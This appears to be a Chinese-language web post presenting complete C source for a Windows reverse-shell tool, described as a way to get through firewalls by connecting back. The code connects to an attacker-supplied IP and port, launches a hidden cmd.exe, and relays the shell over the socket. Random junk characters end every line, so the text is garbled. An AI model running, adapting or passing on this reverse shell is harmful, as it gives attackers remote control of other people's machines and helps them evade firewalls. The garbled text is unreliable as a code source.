Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 rOyK==8/Fg  
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/* ============================== :N\*;>  
Rebound port in Windows NT !cE>L~cza  
By wind,2006/7 kLR4?tX!  
===============================*/ m46Q%hwV  
#include sI/Hcm  
#include \ lP c,8)  
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#pragma comment(lib,"wsock32.lib") 6(sqS~D  
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void OutputShell(); \MsAdYR  
SOCKET sClient; .oH0yNFX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *6e`km  
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void main(int argc,char **argv) B@HW@j  
{ mC n,I  
WSADATA stWsaData; k^J~l=?v  
int nRet; )^ R]3!v  
SOCKADDR_IN stSaiClient,stSaiServer; qg:R+`z  
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if(argc != 3) # ,u7lAz  
{ ,IA0n79  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~;aSX
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return; &fdH HN  
} m;WUp{'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); BZQ98"Fz*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C 6Bh[:V&  
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stSaiClient.sin_family = AF_INET; :1q+[T/ @  
stSaiClient.sin_port = htons(0); A1{P"p!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jiYYDGs77  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Fo3[KW)8I  
{ `^9 Zbwq  
printf("Bind Socket Failed!\n"); <_uLf9ja  
return; SWD v\Vr  
} @R9zLL6#7  
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stSaiServer.sin_family = AF_INET; [5:
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zKe&*tZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }C/u>89%q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f*Xonb  
{ i?z3!`m  
printf("Connect Error!"); Kw3fpNd  
return; @SDsd^N{2P  
} ElZ'/l*\  
OutputShell(); /v:g' #n  
} DOaEz?2)  
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void OutputShell() X |.'_6l.  
{ Id *Gs>4U  
char szBuff[1024]; 4 `Z@^W  
SECURITY_ATTRIBUTES stSecurityAttributes; pB@8b$8(Z  
OSVERSIONINFO stOsversionInfo; 'BpK(PlUh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _J}ce  
STARTUPINFO stStartupInfo; L=iaL[zdJ  
char *szShell; +)^F9LPl  
PROCESS_INFORMATION stProcessInformation; A5!jrSyv  
unsigned long lBytesRead; :J@q Xa  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8js5/G+  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $R2T)  
stSecurityAttributes.lpSecurityDescriptor = 0; im>Sxu@  
stSecurityAttributes.bInheritHandle = TRUE; ;tf1#6{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XrYMv WT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xH;qJRHa  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i@6MO'y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xQ>c.}J/i  
stStartupInfo.wShowWindow = SW_HIDE; iJ~5
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stStartupInfo.hStdInput = hReadPipe; Dn) =V.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &9$0v"`H  
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GetVersionEx(&stOsversionInfo); SDcxro|8i  
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switch(stOsversionInfo.dwPlatformId) yHurt>
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{ j2cLb  
case 1: <P'^olQ  
szShell = "command.com"; df nmUE  
break; hqnJ@N$yY  
default: =$}P'[V  
szShell = "cmd.exe"; b=9(gZ 9  
break; |VB}Kv  
} `)`_G!a  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o$'Fz[U  
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send(sClient,szMsg,77,0); KZ6}),p  
while(1) q]0a8[]3  
{ ';+;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nSz Fs(]f  
if(lBytesRead) g(33h2"  
{ ^TyusfOz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fPiq  
send(sClient,szBuff,lBytesRead,0); GD}3r:wDs  
} i)1E[jc{p!  
else {p|OKf  
{ f62z9)`^  
lBytesRead=recv(sClient,szBuff,1024,0); lN,b@;  
if(lBytesRead<=0) break; /_rQ>PgSZW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I.fV_ H^  
} &jl'1mZ  
} }H?8~S=  
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return; l#7,<@)  
}